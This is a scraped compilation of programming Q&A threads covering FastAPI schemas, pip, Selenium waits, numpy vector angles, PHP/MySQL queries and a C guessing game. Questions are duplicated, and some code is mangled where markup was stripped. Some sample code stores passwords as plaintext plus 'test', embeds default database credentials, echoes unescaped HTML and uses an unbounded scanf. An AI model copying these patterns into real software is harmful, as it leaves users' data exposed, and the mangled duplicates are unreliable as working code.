@app.post("/users/", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.fetch_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail="Email already registered")
    return crud.create_new_user(db=db, user=user)

@app.get("/users/", response_model=List[schemas.User])
def read_users(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    users = crud.get_all_users(db, skip=skip, limit=limit)
    return users

@app.get("/users/{user_id}", response_model=schemas.User)
def read_user(user_id: int, db: Session = Depends(get_db)):
    db_user = crud.get_user(db, user_id=user_id)
    if db_user is None:
        raise HTTPException(status_code=404, detail="User not found")
    return db_user

@app.post("/users/{user_id}/bookings/", response_model=schemas.Booking)
def create_booking_for_user(
    user_id: int,booking: schemas.BookingCreate, db: Session = Depends(get_db)
):
    return crud.create_user_booking(db=db, booking=booking, user_id=user_id)

@app.get("/bookings/", response_model=List[schemas.Booking])
def read_bookings(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    bookings = crud.get_bookings(db, skip=skip, limit=limit)
    return bookings
</code>```

The question is, why do we have to create these schemas like that, Okay I get it the first one UserBase has to be for validation with pydantic, but what about the other two, can someone give me a good explaination..

Thank you.

答:
Pydantic schemas define the properties and types to validate some payload.

They act like a guard before you actually allow a service to fulfil a certain action (e.g. create a database object). I'm not sure if you're used to serializers, but it's pretty much the same thing except Pydantic and FastAPI integrate with newish Python 3 properties (see type checking) which makes it somewhat easier to achieve the things you used to do with framework builtins/libraries.

In your example UserCreate only requires a password and email address so inheritance makes your code more DRY.

Body:
I am new at python, and I am trying to build an API with FastAPI.
It's working so far, I connected with postgres db, I made post/get/ request and everything is working, but I don't have good understanding why we define the schemas like this, why do we have to create an

class UserBase(BaseModel)

class UserCreate(UserBase)

class User(UserBase)

I will post the source code, for all the files, and if you guys could help me to get a good understanding over this,it would really help me so much, because I've got an assignement for tomorrow.

schemas.py

from typing import List
from pydantic import BaseModel

##BOOKING
class BookingBase(BaseModel):
    name:str
    description:str = None

class BookingCreate(BookingBase):
    pass

class Booking(BookingBase):
    id:int
    user_id:int

    class Config:
        orm_mode = True

##USER
class UserBase(BaseModel):
    email: str

class UserCreate(UserBase):
    password: str

class User(UserBase):
    id: int
    is_active: bool
    bookings: List[Booking] = []

    class Config:
        orm_mode = True

models.py

from .database import Base
from sqlalchemy import Boolean, Column, ForeignKey, Integer, String,DateTime
from sqlalchemy.sql import func
from sqlalchemy.orm import relationship

class User(Base):
    __tablename__ = "users"

    id = Column(Integer, primary_key=True,index=True)
    email = Column(String, unique=True, index= True)
    hashed_password = Column(String)
    is_active = Column(Boolean,default=True)

    bookings = relationship("Booking", back_populates="owner")

class Booking(Base):
    __tablename__ = "bookings"

    id=Column(Integer,primary_key=True,index=True)
    name = Column(String,index=True)
    description = Column(String, index=True)
    created_date = Column(DateTime, server_default=func.now())
    user_id = Column(Integer,ForeignKey("users.id"))

    owner = relationship("User",back_populates="bookings")

crud.py

from . import models,schemas
from sqlalchemy.orm import Session

def get_user(db:Session,user_id:int):
    return db.query(models.User).filter(models.User.id == user_id).first()

def fetch_user_by_email(db:Session,email:str):
    return db.query(models.User).filter(models.User.email == email).first()

def get_all_users(db: Session, skip: int = 0, limit: int = 100):
    return db.query(models.User).offset(skip).limit(limit).all()

def get_bookings(db:Session,skip:int=0,limit:int=100):
    return db.query(models.Booking).offset(skip).limit(limit).all()

def create_new_user(db:Session,user:schemas.UserCreate):
    testing_hashed = user.password + "test"
    db_user = models.User(email=user.email,hashed_password=testing_hashed)
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return db_user

def create_user_booking(db: Session, booking: schemas.BookingCreate, user_id: int):
    db_item = models.Booking(**booking.dict(), user_id=user_id)
    db.add(db_item)
    db.commit()
    db.refresh(db_item)
    return db_item

database.py

from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

# SQLALCHEMY_DATABASE_URL = "sqlite:///./test.db"
SQLALCHEMY_DATABASE_URL = "postgresql://postgres:root@localhost/meetingbookerdb"

##Creating the SQLAlchemy ORM engine..>> above we have imported create_engine method from sqlalchemy
##Since we are using Postgres we dont need anything else

create_engine

engine = create_engine(
    SQLALCHEMY_DATABASE_URL
)

#Creating SessionLocal class which will be database session on the request..

SessionLocal = sessionmaker(autocommit=False,autoflush=False,bind=engine)

## Creating the base clase, using the declerative_base() method which returns a class.
## Later we will need this Base Class to create each of the database models

Base = declarative_base()

and main.py

from typing import List

from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session

from .app import crud, models, schemas
from .app.database  import SessionLocal, engine

models.Base.metadata.create_all(bind=engine)

app = FastAPI()

# Dependency
def get_db():
    try:
        db = SessionLocal()
        yield db
    finally:
        db.close()

@app.post("/users/", response_model=schemas.User)
def create_user(user: schemas.UserCreate, db: Session = Depends(get_db)):
    db_user = crud.fetch_user_by_email(db, email=user.email)
    if db_user:
        raise HTTPException(status_code=400, detail="Email already registered")
    return crud.create_new_user(db=db, user=user)

@app.get("/users/", response_model=List[schemas.User])
def read_users(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    users = crud.get_all_users(db, skip=skip, limit=limit)
    return users

@app.get("/users/{user_id}", response_model=schemas.User)
def read_user(user_id: int, db: Session = Depends(get_db)):
    db_user = crud.get_user(db, user_id=user_id)
    if db_user is None:
        raise HTTPException(status_code=404, detail="User not found")
    return db_user

@app.post("/users/{user_id}/bookings/", response_model=schemas.Booking)
def create_booking_for_user(
    user_id: int,booking: schemas.BookingCreate, db: Session = Depends(get_db)
):
    return crud.create_user_booking(db=db, booking=booking, user_id=user_id)

@app.get("/bookings/", response_model=List[schemas.Booking])
def read_bookings(skip: int = 0, limit: int = 100, db: Session = Depends(get_db)):
    bookings = crud.get_bookings(db, skip=skip, limit=limit)
    return bookings

The question is, why do we have to create these schemas like that, Okay I get it the first one UserBase has to be for validation with pydantic, but what about the other two, can someone give me a good explaination..

Thank you.


问:
Package installation not working with pip and Python
I'm trying to instal a module using pip in python and the package isn't available after a successful install.

```<code>  776  sudo -H pip3 install sqlparse
  777  sqlparse
</code>```

The error message is: zsh: command not found: sqlparse

Why would this be? Is there an issue with the path?

答: Looks like the command is sqlformat</p>

Body:
I'm trying to instal a module using pip in python and the package isn't available after a successful install.

  776  sudo -H pip3 install sqlparse
  777  sqlparse

The error message is: zsh: command not found: sqlparse

Why would this be? Is there an issue with the path?

Body: Looks like the command is sqlformat


问:
Can't locate existing element with Selenium WebDriver
so I have this textfield, on an HTML page, that accepts number from 1-100 on a modal box. If you enter a number to big -> error message in div below appears and class gets assigned to the div. Same thing for negative numbers.
Entering text is not possible, leaves the field blank, and clicking ok in the modal box with an empty field also triggers an error message as the ones I described before.

When I manually test everything, all works fine and I can locate the element, that has the class I mentioned before.

When I automate this however... I always get the error: no such element: Unable to locate element: {"method":"css selector","selector":".class"} when I check if the error-message is present after clicking Ok with an empty field.

With the number too big or negative, the element can be located correctly.

It appears that the Ok button is clicked but the message does not appear. So there seams to be a difference in clicking the button manually and automatically.

Does anyone of you ever noticed something like this and can give me some input in what may be the cause of this and how I can fix this?

Already asked some coworkers and none of them has any idea why this happens.

Let me know, if you need any additional info.

Thanks

Edit:

Some text

    <svg
      stroke="currentColor"
      fill="currentColor"
      stroke-width="0"
      viewBox="0 0 24 24"
      class="classes"
      size="20"
      height="20"
      width="20"
    >
      <path
        d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"
      ></path>
    </svg>

    <form novalidate="" class="classes">

Some text

            <input
              class="classes"
              name="name"
              type="number"
              id="name"
              step="any"
              autocomplete="new-password"
              value="70"
            />

            HERE IS THE ERROR MESSAGE DISPLAYED

        <button class="classes" type="button" id="cancel">

Abbrechen
</button
        ><button class="classes" type="submit" id="ok">

Ok

        </button>

    </form>

```

<p>Here is some selenium code:</p>

<p>This is the function to fill the field with the desired input:</p>

<pre class="lang-java prettyprint-override"><code>public void fillField(String input) {
        driver.findElement(byId).click();
        driver.findElement(byId2).click();
        driver.findElement(byId2).clear();
        driver.findElement(byId2).clear();
        driver.findElement(byId2).sendKeys(input);
    }
</code>```

we need to clear the field twice here because for some reason once doesn't clear it. But thats not an issue for now.

Then we simply click ok with:

public void clickOk() {
        driver.findElement(byOkModal).click();
    }
```

But the thing is, that Ok is clicked and the error message does not appear. It appears when clicked manualy.

Also tried different approaches on waiting, clicking multiple times, moving the mouse and clicking somewhere else... nothing works...

答:
As folks mentioned earlier It would be really helpful to put your selenium script here
but you can try something like this.

```<code>// Click ok here

// Wait for message to be displayed
WebDriverWait wait = new WebDriverWait();
wait.until(ExpectedConditions.visibilityOf(WebElement)).isDisplayed();
</code>```

or you make method then reuse it somewhere else

```<code>public boolean iSElementVisable(WebElement) {
  return wait.until(ExpectedConditions. visibilityOf(WebElement)));
}
</code>```

Edit: try-catch might help

```<code>    public boolean isElementPresent(By by) {
        try {
            driver.findElement(by);
            return true;
        } catch (NoSuchElementException e) {
            return false;
        }
    }

</code>```

or fluent wait

```<code>    public void waitUntilWebElement(final WebElement element) {
        new FluentWait<>(driver)
                .withTimeout(Duration.ofSeconds(30))
                .pollingEvery(Duration.ofSeconds(3))
                .until(d -> {
                    if(element.isDisplayed()) {
                        // do something
                    } else {
                        // do something
                    }
                });
    }
</code>```

Read more about the fluent wait here: https://selenium.dev/selenium/docs/api/java/org/openqa/selenium/support/ui/FluentWait.html

Hope this helps.

Body:
so I have this textfield, on an HTML page, that accepts number from 1-100 on a modal box. If you enter a number to big -> error message in div below appears and class gets assigned to the div. Same thing for negative numbers.
Entering text is not possible, leaves the field blank, and clicking ok in the modal box with an empty field also triggers an error message as the ones I described before.

When I manually test everything, all works fine and I can locate the element, that has the class I mentioned before.

When I automate this however... I always get the error: no such element: Unable to locate element: {"method":"css selector","selector":".class"} when I check if the error-message is present after clicking Ok with an empty field.

With the number too big or negative, the element can be located correctly.

It appears that the Ok button is clicked but the message does not appear. So there seams to be a difference in clicking the button manually and automatically.

Does anyone of you ever noticed something like this and can give me some input in what may be the cause of this and how I can fix this?

Already asked some coworkers and none of them has any idea why this happens.

Let me know, if you need any additional info.

Thanks

Edit:

Some text

    <svg
      stroke="currentColor"
      fill="currentColor"
      stroke-width="0"
      viewBox="0 0 24 24"
      class="classes"
      size="20"
      height="20"
      width="20"
    >
      <path
        d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"
      ></path>
    </svg>

    <form novalidate="" class="classes">

Some text

            <input
              class="classes"
              name="name"
              type="number"
              id="name"
              step="any"
              autocomplete="new-password"
              value="70"
            />

            HERE IS THE ERROR MESSAGE DISPLAYED

        <button class="classes" type="button" id="cancel">

Abbrechen
</button
        ><button class="classes" type="submit" id="ok">

Ok

        </button>

    </form>

Here is some selenium code:

This is the function to fill the field with the desired input:

public void fillField(String input) {
        driver.findElement(byId).click();
        driver.findElement(byId2).click();
        driver.findElement(byId2).clear();
        driver.findElement(byId2).clear();
        driver.findElement(byId2).sendKeys(input);
    }

we need to clear the field twice here because for some reason once doesn't clear it. But thats not an issue for now.

Then we simply click ok with:

public void clickOk() {
        driver.findElement(byOkModal).click();
    }

But the thing is, that Ok is clicked and the error message does not appear. It appears when clicked manualy.

Also tried different approaches on waiting, clicking multiple times, moving the mouse and clicking somewhere else... nothing works...

Body:
As folks mentioned earlier It would be really helpful to put your selenium script here
but you can try something like this.

// Click ok here

// Wait for message to be displayed
WebDriverWait wait = new WebDriverWait();
wait.until(ExpectedConditions.visibilityOf(WebElement)).isDisplayed();

or you make method then reuse it somewhere else

public boolean iSElementVisable(WebElement) {
  return wait.until(ExpectedConditions. visibilityOf(WebElement)));
}

Edit: try-catch might help

    public boolean isElementPresent(By by) {
        try {
            driver.findElement(by);
            return true;
        } catch (NoSuchElementException e) {
            return false;
        }
    }

or fluent wait

    public void waitUntilWebElement(final WebElement element) {
        new FluentWait<>(driver)
                .withTimeout(Duration.ofSeconds(30))
                .pollingEvery(Duration.ofSeconds(3))
                .until(d -> {
                    if(element.isDisplayed()) {
                        // do something
                    } else {
                        // do something
                    }
                });
    }

Read more about the fluent wait here: https://selenium.dev/selenium/docs/api/java/org/openqa/selenium/support/ui/FluentWait.html

Hope this helps.


问:
Angle between vectors - Python
I am a beginner in Python (a reeeal beginner) but I have a few assignments to do and I’m totally stuck with one problem. I have to count an angle between vectors. I’ve spent tons of nights trying to do that and I actually even wrote code, but. It shows only positive numbers, so it doesn’t count any negative values. How can I change it?

My data consists of eye-tracking coordinates so I’m sure there must be negative values. Sample data - {308, 394, 700, 738.6, 298.8}, {554, 718, 1270, 737.3, 352.5}, {300, 1314, 1612, 1014.3, 728.5}, {316, 1642, 1956, 844.5, 885.1}, where first 4 values are coordinates (x1, x2, y1, y2). Code I have:

```<code>def angle_between(v1, v2, deg=True):
""" Returns the angle in radians between vectors 'v1' and 'v2'::
"""
print('First vector:', v1)
print('Second vector:', v2)

v1_u = unit_vector(v1)
v2_u = unit_vector(v2)

radians = np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))
result = radians

# print('radians:', result)
if deg:
    result = np.degrees([radians.real])[0]
    print(f"degrees: {result}")
return result
</code>```

Help me pls! :(

答:
To get full circle range, use arctan2

```<code>radians = np.arctan2(np.cross(v1_u, v2_u), np.dot(v1_u, v2_u))
</code>```

This approach gives angle needed to rotate the first vector to make the same direction as the second one, so it describes mutual orientation of vectors (what one is "left" or counter-clockwise, for example)

Title: Angle between vectors - Python

Body:
I am a beginner in Python (a reeeal beginner) but I have a few assignments to do and I’m totally stuck with one problem. I have to count an angle between vectors. I’ve spent tons of nights trying to do that and I actually even wrote code, but. It shows only positive numbers, so it doesn’t count any negative values. How can I change it?

My data consists of eye-tracking coordinates so I’m sure there must be negative values. Sample data - {308, 394, 700, 738.6, 298.8}, {554, 718, 1270, 737.3, 352.5}, {300, 1314, 1612, 1014.3, 728.5}, {316, 1642, 1956, 844.5, 885.1}, where first 4 values are coordinates (x1, x2, y1, y2). Code I have:

def angle_between(v1, v2, deg=True):
""" Returns the angle in radians between vectors 'v1' and 'v2'::
"""
print('First vector:', v1)
print('Second vector:', v2)

v1_u = unit_vector(v1)
v2_u = unit_vector(v2)

radians = np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))
result = radians

# print('radians:', result)
if deg:
    result = np.degrees([radians.real])[0]
    print(f"degrees: {result}")
return result

Help me pls! :(

Body:
To get full circle range, use arctan2

radians = np.arctan2(np.cross(v1_u, v2_u), np.dot(v1_u, v2_u))

This approach gives angle needed to rotate the first vector to make the same direction as the second one, so it describes mutual orientation of vectors (what one is "left" or counter-clockwise, for example)


问:
multi join tables in mysql and selecting a polyhedral value in php arrays
hello i created a installment system with php now i want to showing all all debtors in a page

you should know i get a lot of information from users. users can be select multi product from my system and then get to pay those.
also i have several way to get payment like POS and cash ets that this ways split with , sign

the payment in my system can get several records inserts from users.

the data in my tables insert like this

$register = [
     array(
'id' => 15,
'abutment_id' => 5,
'name' => 'example1'
),

array(
'id' => 13,
'abutment_id' => 4,
'name' => 'example2'
)

'id' => 10,
'abutment_id' => 9,
'name' => 'example3'
)
];

$courses = [
array(
'id' => 1,
'register_id' => 15,
'price' => 100
),

array(
'id' => 2,
'register_id' => 15,
'price' => 70
),

array(
'id' => 3,
'register_id' => 15,
'price' => 500
),

array(
'id' => 4,
'register_id' => 13,
'price' => 500
),

array(
'id' => 4,
'register_id' => 10,
'price' => 100
),

array(
'id' => 4,
'register_id' => 10,
'price' => 500
),
];

$payment = [

array(
'id' => 1,
'abutment_id' => 5,
'course_id' => 1,
'price' => '14,15,15' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 2,
'abutment_id' => 5,
'course_id' => 1,
'price' => '5,13,1' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 2,
'abutment_id' => 5,
'course_id' => 3,
'price' => '500,0,0' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 3,
'abutment_id' => 9,
'course_id' => 3,
'price' => '500,0,0' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 4,
'abutment_id' => 9,
'course_id' => 3,
'price' => ',0,100,0' // every , sing has a way to payment because some user get the money together way
),

];

```

<p>i want to doing this job:</p>

<p>first: sum all price of course where all theme owned by one member in register section like this</p>

<pre class="lang-html prettyprint-override"><code><h1>example1 have 3 course with price $670</h1> <!-- 3 come from all record in course table with same id and 670 come from sum price in course table with same id in register table -->
<p>this user payment passed `568`</p> <!-- 568 come from all price column of payment table with the same abutment_id in register table. the price sum with every comma sign -->

<h1>example2 have 1 course with price $500</h1>
<p>this user payment passesd 0</p>

<h1>example2 have 1 course with price $600</h1>
<p>this user payment passesd 600</p>

</code>```

Second: Then user price minus payment and if this is higher than 0 Show like this:

example1

exapmle2

```

<p>you can help me with to answer this question in <code>php array</code> or <code>mysql</code>
you should know i have a lot of data in my tables.</p>

<p>I try this way in mysql but cant get result</p>

<pre class="lang-sql prettyprint-override"><code>
    SELECT * FROM register_user JOIN deposit JOIN register_user_cource WHERE
register_user_cource.register_user_register_id = register_user.register_user_id AND deposit.deposit_abutment_id = register_user.register_user_abutment_id AND
SUBSTRING_INDEX(deposit.deposit_price,',',1)
    +
    SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',2),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',3),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',4),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',5),',',-1)

     > SUM(register_user_cource.register_user_cource_price)

</code>```

答:
This is SQL for your first point what you want to do.

example1 have 3 course with price $670

```<code>SELECT
    R.name,
    COUNT(C.id) AS CountCourse,
    SUM(C.price) AS SumPrice
FROM register AS R
JOIN courses AS C ON C.register_id = R.id
GROUP BY R.name
</code>```

I need more information about Price column in Payment table. What position is what?

Body:
hello i created a installment system with php now i want to showing all all debtors in a page

you should know i get a lot of information from users. users can be select multi product from my system and then get to pay those.
also i have several way to get payment like POS and cash ets that this ways split with , sign

the payment in my system can get several records inserts from users.

the data in my tables insert like this

$register = [
     array(
'id' => 15,
'abutment_id' => 5,
'name' => 'example1'
),

array(
'id' => 13,
'abutment_id' => 4,
'name' => 'example2'
)

'id' => 10,
'abutment_id' => 9,
'name' => 'example3'
)
];

$courses = [
array(
'id' => 1,
'register_id' => 15,
'price' => 100
),

array(
'id' => 2,
'register_id' => 15,
'price' => 70
),

array(
'id' => 3,
'register_id' => 15,
'price' => 500
),

array(
'id' => 4,
'register_id' => 13,
'price' => 500
),

array(
'id' => 4,
'register_id' => 10,
'price' => 100
),

array(
'id' => 4,
'register_id' => 10,
'price' => 500
),
];

$payment = [

array(
'id' => 1,
'abutment_id' => 5,
'course_id' => 1,
'price' => '14,15,15' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 2,
'abutment_id' => 5,
'course_id' => 1,
'price' => '5,13,1' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 2,
'abutment_id' => 5,
'course_id' => 3,
'price' => '500,0,0' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 3,
'abutment_id' => 9,
'course_id' => 3,
'price' => '500,0,0' // every , sing has a way to payment because some user get the money together way
),

array(
'id' => 4,
'abutment_id' => 9,
'course_id' => 3,
'price' => ',0,100,0' // every , sing has a way to payment because some user get the money together way
),

];

i want to doing this job:

first: sum all price of course where all theme owned by one member in register section like this

example1 have 3 course with price $670

this user payment passed `568`

example2 have 1 course with price $500

this user payment passesd 0

example2 have 1 course with price $600

this user payment passesd 600

Second: Then user price minus payment and if this is higher than 0 Show like this:

example1

exapmle2

you can help me with to answer this question in php array or mysql
you should know i have a lot of data in my tables.

I try this way in mysql but cant get result

    SELECT * FROM register_user JOIN deposit JOIN register_user_cource WHERE
register_user_cource.register_user_register_id = register_user.register_user_id AND deposit.deposit_abutment_id = register_user.register_user_abutment_id AND
SUBSTRING_INDEX(deposit.deposit_price,',',1)
    +
    SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',2),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',3),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',4),',',-1)
    +
     SUBSTRING_INDEX(SUBSTRING_INDEX(deposit.deposit_price,',',5),',',-1)

     > SUM(register_user_cource.register_user_cource_price)

Body:
This is SQL for your first point what you want to do.

example1 have 3 course with price $670

SELECT
    R.name,
    COUNT(C.id) AS CountCourse,
    SUM(C.price) AS SumPrice
FROM register AS R
JOIN courses AS C ON C.register_id = R.id
GROUP BY R.name

I need more information about Price column in Payment table. What position is what?


问:
Bad array? Bad foreach?
Sorry for the huge ignorance on the topic, but I really have no idea where to look other than this website when I come into trouble with my PHP.

What I'm trying to do here is use pre-designated IDs to call particular movies from a database. But all I get is an 'Invalid argument supplied for foreach()' message on the second and third foreach's below.

Here's my code in the head:

```<code>//Custom lists of movies to bring in
//New Releases list
 $films_new_releases = array(40805, 46705, 41630, 44564, 39451, 20352, 43933, 49009, 49797, 42194);
 //Most Popular list
 $films_most_popular = array(27205, 16290, 10138, 41733, 37799, 18785, 19995, 17654, 10140, 12162);

//Get information from address bar
$list = $_GET['l'];
if ($list == 'new releases') {
    $list_chosen = $films_new_releases;
}
elseif ($list == 'most popular') {
    $list_chosen = $films_most_popular;
}
else {
    $list_chosen = $films_new_releases;
}
</code>```

And in amongst the body:

```<code>  // Loop through each film returned
  foreach ($list_chosen as $list_chosen_film) {

    $films_result = $tmdb->getMovie($list_chosen_film);
    $film = json_decode($films_result);

    // Set default poster image to use if film doesn't have one
    $backdrop_url = 'images/placeholder-film.gif';

    // Loop through each poster for current film
    foreach($film->backdrops as $backdrop) {
      if ($backdrop->image->size == 'poster') {
        $backdrop_url = $backdrop->image->url;
      }
    }

    echo '<div class="view-films-film">
        <a href="film.php?id=' . $film->id . '"><img src="' . $backdrop_url . '" alt="' . $film->name . '" /></a>
            <div class="view-films-film-snippet">
                <h2><a href="film.php?id=' . $film->id . '">' . $film->name . '</a></h2>';
    if ($film->certification != null) {
           echo '<img src="images/bbfc-' . strtolower($film->certification) . '.png" alt="" />';
    }
    echo '      <h3>Starring</h3>
                <p>';
    $num_actors = 0;
    foreach ($film->cast as $cast) {
    if ($cast->job == 'Actor') {
      echo '<a href="person.php?id=' . $cast->id . '">' . $cast->name . '</a> ';
      $num_actors++;
      if ($num_actors == 5)
        break;
    }
    echo '      </p>
                <h3>Director</h3>
                <p>';
    foreach ($film->cast as $cast) {
        if ($cast->job == 'Director') {
            echo '<a href="person.php?id=' . $cast->id . '">' . $cast->name . '</a> ';
        }
    }
    echo '      </p>
            </div>
        </div>';
  }
  // End films
  }
</code>```

The little testing I've done is checking what $list_chosen, $list_chosen_film, $films_result and $film actually contain by printing them at the bottom of the page.

$list_chosen shows - Array, $list_chosen_film shows - 42194, $films_result shows the entire JSON string, $film shows - Array.

答:
Try adding:

```<code>print_r($film->backdrop);
</code>```

before the second foreach() loop. Before the error message it won't be an array or it will contain zero elements (not allowed). If you also add:

```<code>echo $films_result;
</code>```

you will be able to debug it and fully understand what is wrong. If not, post the whole output in your question.

Title: Bad array? Bad foreach?

Body:
Sorry for the huge ignorance on the topic, but I really have no idea where to look other than this website when I come into trouble with my PHP.

What I'm trying to do here is use pre-designated IDs to call particular movies from a database. But all I get is an 'Invalid argument supplied for foreach()' message on the second and third foreach's below.

Here's my code in the head:

//Custom lists of movies to bring in
//New Releases list
 $films_new_releases = array(40805, 46705, 41630, 44564, 39451, 20352, 43933, 49009, 49797, 42194);
 //Most Popular list
 $films_most_popular = array(27205, 16290, 10138, 41733, 37799, 18785, 19995, 17654, 10140, 12162);

//Get information from address bar
$list = $_GET['l'];
if ($list == 'new releases') {
    $list_chosen = $films_new_releases;
}
elseif ($list == 'most popular') {
    $list_chosen = $films_most_popular;
}
else {
    $list_chosen = $films_new_releases;
}

And in amongst the body:

  // Loop through each film returned
  foreach ($list_chosen as $list_chosen_film) {

    $films_result = $tmdb->getMovie($list_chosen_film);
    $film = json_decode($films_result);

    // Set default poster image to use if film doesn't have one
    $backdrop_url = 'images/placeholder-film.gif';

    // Loop through each poster for current film
    foreach($film->backdrops as $backdrop) {
      if ($backdrop->image->size == 'poster') {
        $backdrop_url = $backdrop->image->url;
      }
    }

    echo '

        id . '">name . '" />

id . '">' . $film->name . '
';
    if ($film->certification != null) {
           echo 'certification) . '.png" alt="" />';
    }
    echo '
Starring

';
    $num_actors = 0;
    foreach ($film->cast as $cast) {
    if ($cast->job == 'Actor') {
      echo 'id . '">' . $cast->name . ' ';
      $num_actors++;
      if ($num_actors == 5)
        break;
    }
    echo '

Director

';
    foreach ($film->cast as $cast) {
        if ($cast->job == 'Director') {
            echo 'id . '">' . $cast->name . ' ';
        }
    }
    echo '

';
  }
  // End films
  }

The little testing I've done is checking what $list_chosen, $list_chosen_film, $films_result and $film actually contain by printing them at the bottom of the page.

$list_chosen shows - Array, $list_chosen_film shows - 42194, $films_result shows the entire JSON string, $film shows - Array.

Body:
Try adding:

print_r($film->backdrop);

before the second foreach() loop. Before the error message it won't be an array or it will contain zero elements (not allowed). If you also add:

echo $films_result;

you will be able to debug it and fully understand what is wrong. If not, post the whole output in your question.


问:
I'm a bit confused about how to solve this warning and error
I have to make a code where a random number is generated between 1 and 100, and a user has to input numbers until they figure it out. At the end, it has to tell them how many guesses it took them to figure it out. I have one error and one warning, neither of which I know how to handle. I tried looking them up but I couldn't really find something to help me:

```<code>main.c: In function ‘main’:
main.c:18:26: warning: implicit declaration of function ‘time’ [-Wimplicit-function-declaration]
         srand((unsigned) time(&t));
                          ^~~~
main.c:43:1: error: expected ‘while’ before ‘}’ token
 }
 ^
main.c:43:1: error: expected declaration or statement at end of input
</code>```

Here's the code I'm working with for reference:

```<code>#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[1024];
    int i, n;
    time_t t;
    int randNum;
    int userTries;
    int inpUser;

    printf("Please enter your name: \n");
    scanf("%s", name);
    printf("Hello %s\n, we're going to play a game where you guess a secret number. I will tell you if you're too high or too low, and I will also tell you at the end how many guesses you took.\n", name);

    //initializes the random number generator
    srand((unsigned) time(&t));

    //calculates a random number between 100 and 1*/
    randNum = rand() % 100 + 1;

    do {
        printf("Guess a random number, but I bet you'll get it wrong:\n");
        scanf("%d", inpUser);
        if (inpUser == randNum) {
            printf("That's the number! Maybe I underestimated you.\n");
        }
        else if (inpUser > randNum) {
            printf("You're a little high there, bud.\n");
        }
        else if (inpUser < randNum) {
            printf("Maybe go a little higher next time?\n");

            userTries++;
        }

        while (randNum != inpUser);
        printf("Congratulations, you actually did it! That's the number! It took you %d tries, but you did it!", userTries);

        return 0;
    }
}
</code>```

答:
I correct your program :  </p>

```<code>#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {

    char name[1024];
    int i, n;
    time_t t;
    int randNum = 0;
    int userTries = 0;
    int inpUser = 0;

    printf("Please enter your name: \n");
    scanf("%s", name);
    printf("Hello %s\n, we're going to play a game where you guess a secret number. I will tell you if you're too high or too low, and I will also tell you at the end how many guesses you took.\n", name);

    //initializes the random number generator
    srand((unsigned) time(&t));

    //calculates a random number between 100 and 1*/
    randNum = rand() %100 + 1;

    do {
        printf("Guess a random number, but I bet you'll get it wrong:\n");
        scanf("%d", &inpUser);
        if (inpUser == randNum) {
            printf("That's the number! Maybe I underestimated you.\n");
        }
        else if (inpUser > randNum) {
            printf("You're a little high there, bud.\n");
        }
        else if (inpUser < randNum) {
            printf("Maybe go a little higher next time?\n");

            userTries++;

        }
    }
    while (randNum != inpUser);
    printf("Congratulations, you actually did it! That's the number! It took you %d tries, but you did it!", userTries);

    return 0;

}
</code>```

Body:
I have to make a code where a random number is generated between 1 and 100, and a user has to input numbers until they figure it out. At the end, it has to tell them how many guesses it took them to figure it out. I have one error and one warning, neither of which I know how to handle. I tried looking them up but I couldn't really find something to help me:

main.c: In function ‘main’:
main.c:18:26: warning: implicit declaration of function ‘time’ [-Wimplicit-function-declaration]
         srand((unsigned) time(&t));
                          ^~~~
main.c:43:1: error: expected ‘while’ before ‘}’ token
 }
 ^
main.c:43:1: error: expected declaration or statement at end of input

Here's the code I'm working with for reference:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[1024];
    int i, n;
    time_t t;
    int randNum;
    int userTries;
    int inpUser;

    printf("Please enter your name: \n");
    scanf("%s", name);
    printf("Hello %s\n, we're going to play a game where you guess a secret number. I will tell you if you're too high or too low, and I will also tell you at the end how many guesses you took.\n", name);

    //initializes the random number generator
    srand((unsigned) time(&t));

    //calculates a random number between 100 and 1*/
    randNum = rand() % 100 + 1;

    do {
        printf("Guess a random number, but I bet you'll get it wrong:\n");
        scanf("%d", inpUser);
        if (inpUser == randNum) {
            printf("That's the number! Maybe I underestimated you.\n");
        }
        else if (inpUser > randNum) {
            printf("You're a little high there, bud.\n");
        }
        else if (inpUser < randNum) {
            printf("Maybe go a little higher next time?\n");

            userTries++;
        }

        while (randNum != inpUser);
        printf("Congratulations, you actually did it! That's the number! It took you %d tries, but you did it!", userTries);

        return 0;
    }
}

Body:
I correct your program :

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {

    char name[1024];
    int i, n;
    time_t t;
    int randNum = 0;
    int userTries = 0;
    int inpUser = 0;

    printf("Please enter your name: \n");
    scanf("%s", name);
